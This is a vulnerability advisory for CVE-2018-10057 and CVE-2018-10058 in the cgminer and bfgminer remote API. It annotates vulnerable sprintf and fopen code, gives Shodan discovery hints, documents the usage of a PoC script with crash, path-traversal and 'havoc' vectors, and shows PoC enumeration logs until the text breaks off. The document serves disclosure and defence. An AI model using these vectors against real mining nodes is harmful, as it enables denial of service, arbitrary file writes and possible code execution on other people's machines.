Author: <github.com/tintinweb>
Ref: https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10057
https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10058
Version: 0.1
Date: Feb 11th, 2018
Tag: cgminer bfgminer bitcoin miner authenticated buffer overflow path traversal
Name: cgminer
Vendor: ck kolivas
References: * https://github.com/ckolivas/cgminer
* https://bitcointalk.org/index.php?topic=28402.0
Version: 4.10.0 [1]
Latest Version: 4.10.0 [1]
Other Versions: <= 4.10.0
Platform(s): windows, linux
Technology: C/C++
Vuln Classes: CWE-121: Stack-based Buffer Overflow
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin: remote
Min. Privs.: authenticated
Source: open-source
CVE: CVE-2018-10057 - arbitrary file write
CVE-2018-10058 - buffer overflow
quote website [1][2]
This is a multi-threaded multi-pool FPGA and ASIC miner for bitcoin.
Name: bfgminer
Vendor: luke-jr
References: * https://github.com/luke-jr/bfgminer/releases
* http://bfgminer.org/
* https://bitcointalk.org/?topic=877081
Version: 5.5.0 [3]
Latest Version: 5.5.0 [3]
Other Versions: <= 5.5.0
Platform(s): windows, linux
Technology: C/C++
Vuln Classes: CWE-121: Stack-based Buffer Overflow
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin: remote
Min. Privs.: authenticated
Source: open-source
CVE: CVE-2018-10057 - arbitrary file write
CVE-2018-10058 - buffer overflow
quote website [3][4][5]
What is BFGMiner?
BFGMiner is a modular ASIC/FPGA miner written in C, featuring dynamic clocking, monitoring, and remote interface capabilities.
cgminer and bfgminer both share a good portion of their code basis therefore they are both affected by the
vulnerabilities described in this note. both applications provide remote management functionality via an api interface.
This interface takes either custom plaintext or json encoded commands. Available API commands are defined in api.c
.
The set of available commands varies depending on the enabled features (opencl, fpga, cpumining). An api request can
carry multiple commands if the commands are tagged as joinable
(see api.c
). While the API does not feature an
authentication system, there is a readonly
and write
mode. Commands can either be accessible in readonly
or also
in write
mode. Read/Write access can be granted via the commandline setting an IP-/Subnet-based ACL
(Interpret [W:]IP[/Prefix][,[R|W:]IP2[/Prefix2][,...]] --api-allow option
). In the context of this vulnerability note
an authenticated
vector refers to a vulnerability existing in the handling of write-mode commands. On the other hand
unauthenticated vulnerabilities can be performed without having to match the IP-/Subnet-ACL first.
- VU #1 - (CVE-2018-10058) Authenticated Stack buffer overflow (sprintf): addpool, save, failover-only, poolquota
- VU #2 - (CVE-2018-10057) Authenticated path traversal (fopen): save
- VU #3 - Unauthenticated Information Disclosure: banner / various commands leaking details
- VU #4 - Missing Transport Security: no tls / trivial to mitm / eavesdrop
Successful exploitation could probably turned into:
- RCE - execute arbitrary code, take over the mining node.
- limited write anywhere - overwrite files; any location; limited control over content (config file content).
See attached PoC.
// Note: annotations are prefixed with //#!
Service Discovery:
- shodan:
description=cgminer
or [6] - banner:
STATUS=E,When=1518898313,Code=14,Msg=Invalid command,Description=cgminer 4.9.0|\x00
VU #1 - (CVE-2018-10058) Authenticated Stack buffer overflow: addpool, save, failover-only, poolquota
The root cause for the buffer overflow are missing bounds checks and unlimited format descriptors used with sprintf
that lead to straight forward sprintf
buffer overwrite vulnerabilities. Misuse pattern sprintf(dst[size], "%s", param[can be > size])
.
To exploit this an attacker must be able to provide string params to sprintf
that are close or larger the destination
buffer size. The way escape_string
works makes it easier for attackers to generate large strings that are being passed
to sprintf
as the method does not limit the output size and may extend up to double the size of the input string
(characters escaped one-by-one).
Sug. Mitigation:
sprintf
-->snprintf
with a length of buffersize-1.
Request Handler: api(int api_thr_id){}
- The request recv buffer size is
buf[TMPBUFSIZ=8192]
. recv()
reads at mostTMPBUFSIZ-1
bytes from the socket. This means we can push at max 8191 bytes to the api handler (this includes json encoding/plaintext cmd overhead)- For plaintext commands we can push up to
TMPBUFSIZ-1-len(cmd+SEPARATOR)
bytes as param (recv_buffer_size - command and separator overhead)
void api(int api_thr_id)
{
...
char buf[TMPBUFSIZ]; //#! fixed buffer 8192b
...
while (!bye) {
...
addrok = check_connect((struct sockaddr_storage *)&cli, &connectaddr, &group); //#! check API access ok
applog(LOG_DEBUG, "API: connection from %s - %s",
connectaddr, addrok ? "Accepted" : "Ignored");
if (addrok) { //#! ACL - access allowed
n = recv(c, &buf[0], TMPBUFSIZ-1, 0); //#! read up to 8192-1 bytes
...
if (*buf != ISJSON) { //#! plaintext cmd decoder
isjson = false;
param = strchr(buf, SEPARATOR); //#! param can hold up to TMPBUFSIZ-1-sizeof(SEPARATOR) bytes
if (param != NULL)
*(param++) = '\0';
cmd = buf;
}
else { //#! json cmd decoder
...
cmd = (char *)json_string_value(json_val);
...
if (json_is_string(json_val))
param = (char *)json_string_value(json_val); //#! param can hold up to TMPBUFSIZE-1-sizeof(json overhead including cmdstruct)
...
for (i = 0; cmds[i].name != NULL; i++) {
...
if (ISPRIVGROUP(group) || strstr(COMMANDS(group), cmdbuf))
(cmds[i].func)(io_data, c, param, isjson, group); //#! call api command handler
else {
message(io_data, MSG_ACCDENY, 0, cmds[i].name, isjson);
applog(LOG_DEBUG, "API: access denied to '%s' for '%s' command", connectaddr, cmds[i].name);
}
...
String escaping: (backslash escaping) =
(non-json), "
(json), \
(both) will be prefixed with \
- stage 1 - scans string for to-be escaped characters and counts them.
- stage 2 - allocates a new buffer for the extended size due to added
\
for escaping. - stage 3 - scans string copying byte-by-byte to new buffer adding
\
when encountering=,",\
. - Note: If the input string contains a to-be-escaped character the output string will be larger than the input.
- Note: This means if the input string only consists of e.g.
=
the output string will be twice the size\=
.
Furthermore this means that in worst case an input string of 8k may generate an output string of 16k.
static char *escape_string(char *str, bool isjson)
{
char *buf, *ptr;
int count;
count = 0;
for (ptr = str; *ptr; ptr++) {
switch (*ptr) {
case ',':
case '|':
case '=': //#! count to-be-escaped char
if (!isjson)
count++;
break;
case '"':
if (isjson)
count++;
break;
case '\\':
count++;
break;
}
}
if (count == 0)
return str;
buf = cgmalloc(strlen(str) + count + 1); //#! malloc new buffer to fit escaped string
ptr = buf;
while (*str)
switch (*str) {
case ',':
case '|':
case '=': //#! copy string; insert escape chars when needed.
if (!isjson)
*(ptr++) = '\\';
*(ptr++) = *(str++);
break;
case '"':
if (isjson)
*(ptr++) = '\\';
*(ptr++) = *(str++);
break;
case '\\':
*(ptr++) = '\\';
*(ptr++) = *(str++);
break;
default:
*(ptr++) = *(str++);
break;
}
*ptr = '\0';
return buf;
}
- Buffer overwrite for param to command:
addpool
...
{ SEVERITY_ERR, MSG_INVPDP, PARAM_STR, "Invalid addpool details '%s'" },
...
static void addpool(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
...
if (!pooldetails(param, &url, &user, &pass)) {
ptr = escape_string(param, isjson); //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
message(io_data, MSG_INVPDP, 0, ptr, isjson); //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
if (ptr != param) //#! MSG_INVPDP - see def above - is a FMT using unbound %s that may cause a buffer overwrite if the param is > sprintf destination buffer size
free(ptr);
ptr = NULL;
return;
}
...
ptr = escape_string(url, isjson); //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
message(io_data, MSG_ADDPOOL, pool->pool_no, ptr, isjson); //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
if (ptr != url)
free(ptr);
ptr = NULL;
}
Where message()
is defined as follows:
static void message(struct io_data *io_data, int messageid, int paramid, char *param2, bool isjson)
{
struct api_data *root = NULL;
char buf[TMPBUFSIZ]; //#! fixed size stack buffer 8192 bytes!
char severity[2];
...
for (i = 0; codes[i].severity != SEVERITY_FAIL; i++) { //#! get message FMT from codes (vulnerable if contains unbound %s in fmt)
if (codes[i].code == messageid) {
...
switch(codes[i].params) {
...
case PARAM_STR:
sprintf(buf, codes[i].description, param2); //#! sprintf buffer overwrite; param2 can be > sizeof(buf)
break;
...
- Buffer overwrite for param to command:
dosave
void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
char filename[PATH_MAX];
FILE *fcfg;
char *ptr;
if (param == NULL || *param == '\0') {
default_save_file(filename);
param = filename;
}
fcfg = fopen(param, "w");
if (!fcfg) {
ptr = escape_string(param, isjson); //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
message(io_data, MSG_BADFN, 0, ptr, isjson); //#! VU#1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
if (ptr != param)
free(ptr);
ptr = NULL;
return;
}
write_config(fcfg);
fclose(fcfg);
ptr = escape_string(param, isjson); //#! VU #1 - same here; see description above (case with valid filename)
message(io_data, MSG_SAVED, 0, ptr, isjson);
if (ptr != param)
free(ptr);
ptr = NULL;
}
- Buffer overwrite for param to command:
failover-only
:
The param to failover-only
is directly passed to message()
with message fmt "Deprecated config option '%s'"
which
is then passed to sprintf(buf[TMPFBUFSIZ=8192], "Deprecated config option '%s'", param[can_be_>TMPBUFSIZ])
. param
can
be close to 8191 bytes (minus command encoding overhead ~15bytes). The message template MSG_DEPRECATED
is already 27 bytes
without %s
being filled in. An attacker providing at least > 8191-27 bytes as param to this command will therefore make
sprintf
write past the stack buffer buf[TMPBUFSIZ=8192]
in message()
.
...
{ SEVERITY_ERR, MSG_DEPRECATED, PARAM_STR, "Deprecated config option '%s'" }, //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...
static void failoveronly(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
message(io_data, MSG_DEPRECATED, 0, param, isjson); //#! VU #1 - param can be > TMPBUFSIZE (hardcoded stack buffer for sprint destination in message())
}
- Buffer overwrite for param to command:
poolquota
...
{ SEVERITY_ERR, MSG_CONVAL, PARAM_STR, "Missing config value N for '%s,N'" }, //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...
static void poolquota(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
...
comma = strchr(param, ',');
if (!comma) {
message(io_data, MSG_CONVAL, 0, param, isjson); //#! VU #1 - sprintf buffer overwrite similar to other commands
return;
}
...
}
When calling api command save
the parameter
is passed to dosave(.., .., param, ...)
which calls fopen(param)
on
the unsanitized/unvalidated user provided parameter. This allows for absolute and relative path traversal allowing to
save the current configuration (json) to any location provided with the request parameter (user provided).
void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
char filename[PATH_MAX];
FILE *fcfg;
char *ptr;
if (param == NULL || *param == '\0') {
default_save_file(filename);
param = filename;
}
fcfg = fopen(param, "w"); //#! VU #2 - param not filtered; abs path traversal
if (!fcfg) {
ptr = escape_string(param, isjson);
message(io_data, MSG_BADFN, 0, ptr, isjson);
if (ptr != param)
free(ptr);
ptr = NULL;
return;
}
write_config(fcfg);
fclose(fcfg);
ptr = escape_string(param, isjson); //#! VU #2 - same here; see description above (case with valid filename)
message(io_data, MSG_SAVED, 0, ptr, isjson);
if (ptr != param)
free(ptr);
ptr = NULL;
}
Sug. Mitigation:
- input validation / sanitation
- basedir restriction
As seen on shodan and similar search engines cgminer/bfgminer trivially leaks valuable information in its server banner invalid command as well as a series of other commands available in readonly mode.
Note: use poc.py <target>
to enumerate available commands for readonly mode.
STATUS=E,When=1518898313,Code=14,Msg=Invalid command,Description=cgminer 4.9.0|\x00
Sug. Mitigation:
- Do not respond to empty requests, requests with unexpected format or invalid commands; reply with a short generic errorcode
- consider authenticating the interface (user auth); only answer authenticated commands
The API interface (custom tcp socket comm) does not provide any transport security.
Sug. Mitigation:
- enforce tls for the api interface.
See attached PoC.
Prerequisites:
- compatible AMD/NVidia hardware
- an isolated target machine to verify the vulnerability
Usage: poc.py
example: poc.py [options] <target> [<target>, ...]
options:
--no-capabilities ... do not check for supported commands [default:False]
--havoc ... probe all commands for buffer overflow
--vector=<vector> ... <see vectors> - launch specific attack vector
vector ... crash_addpool ... crash addpool command
crash_failover ... crash failover-only command
crash_poolquota ... crash poolquota command
crash_save ... crash save command
traverse_save ... path traversal in save command
target ... <IP, FQDN:port>
#> poc.py 1.1.1.1:4028
#> poc.py 1.2.3.4:4028
#> poc.py --vector=crash_addpool 1.1.1.1:4028
#> poc.py --havoc 1.1.1.1:4028
To reproduce launch cgminer in this mode:
#> ./cgminer -D --url ltc-eu.give-me-coins.com:3334 --api-listen -T -u a -p a --api-allow 0/0
- start the miner, specify a pool and allow write-mode from any Subnet (or restrict it to your attackers ip) then wait for the API to be ready
...
[xxx] Generated stratum work
[xxx] Pushing work from pool 0 to hash queue
[xxx] API running in IP access mode on port 4028 (3)
[xxx] Testing pool stratum+tcp://ltc-eu.give-me-coins.com:3334
...
- [vector 1] To trigger the stack buffer overwrite in
addpool, save, failover-only, poolquota
launchpoc.py --vector=crash_<addpool|failover|poolquota|save> <target-ip:port>
Launch poc.py
and trigger any of the crash_*
vectors (stack buffer overwrite). poc.py
by default is pretty
verbose and checks for all available commands on the target. Accessible commands will be listed. The buffer overwrite
is triggered with the last command in the output.
Note: you may also want to brute-force all available commands for overflows with poc.py --havoc <target-ip:port>
[cgminer.py - <module>() ][ INFO] --start--
[cgminer.py - <module>() ][ INFO] # CGMiner / BFGMiner exploit
[cgminer.py - <module>() ][ INFO] # github.com/tintinweb
[cgminer.py - <module>() ][ INFO] [i] about to check for the following commands: ['gpufan', 'ascset', 'gpuvddc', 'cpurestart', 'pga', 'asccount', 'pgarestart', 'disablepool', 'hotplug', 'estats', 'ascidentify', 'zero', 'usbstats', 'failover-only', 'notify', 'gpuenable', 'edevs', 'procdisable', 'poolquota', 'addpool', 'check', 'devdetails', 'pgaenable', 'quit', 'stats', 'gpumem', 'debug', 'switchpool', 'ascenable', 'procdetails', 'version', 'procs', 'ascdisable', 'pgacount', 'cpuenable', 'save', 'config', 'privileged', 'gpurestart', 'pgaidentify', 'gpucount', 'gpudisable', 'gpuintensity', 'procenable', 'gpuengine', 'asc', 'pools', 'lcd', 'cpucount', 'gpu', 'procidentify', 'coin', 'cpudisable', 'pgaset', 'restart', 'procnotify', 'pgadisable', 'proccount', 'setconfig', 'lockstats', 'proc', 'procset', 'enablepool', 'summary', 'devs', 'devscan', 'removepool', 'poolpriority', 'cpu']
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpufan", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpufan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "ascset", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'ascset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpuvddc", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpuvddc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "cpurestart", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'cpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pga", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pga' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "asccount", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'asccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgarestart", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgarestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "disablepool", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'disablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "hotplug", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'hotplug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "estats", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'estats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "ascidentify", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'ascidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "zero", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'zero' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "usbstats", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'usbstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "failover-only", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'failover-only' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "notify", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'notify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpuenable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "edevs", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'edevs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procdisable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "poolquota", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'poolquota' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "addpool", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'addpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "check", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'check' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "devdetails", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'devdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgaenable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgaenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "quit", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'quit' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "stats", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'stats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpumem", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpumem' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "debug", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'debug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "switchpool", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'switchpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "ascenable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'ascenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procdetails", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "version", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'version' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "procs", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'procs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "ascdisable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'ascdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgacount", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'pgacount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "cpuenable", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'cpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "save", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'save' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "config", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'config' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "privileged", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'privileged' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "gpurestart", "command": "check"}\n'
[cgminer.py - _get_capabilities() ][ DEBUG] response: 'gpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py - sendRcv() ][ DEBUG] sendRcv: '{"parameter": "pgaidentify", "command": "check"}\n'
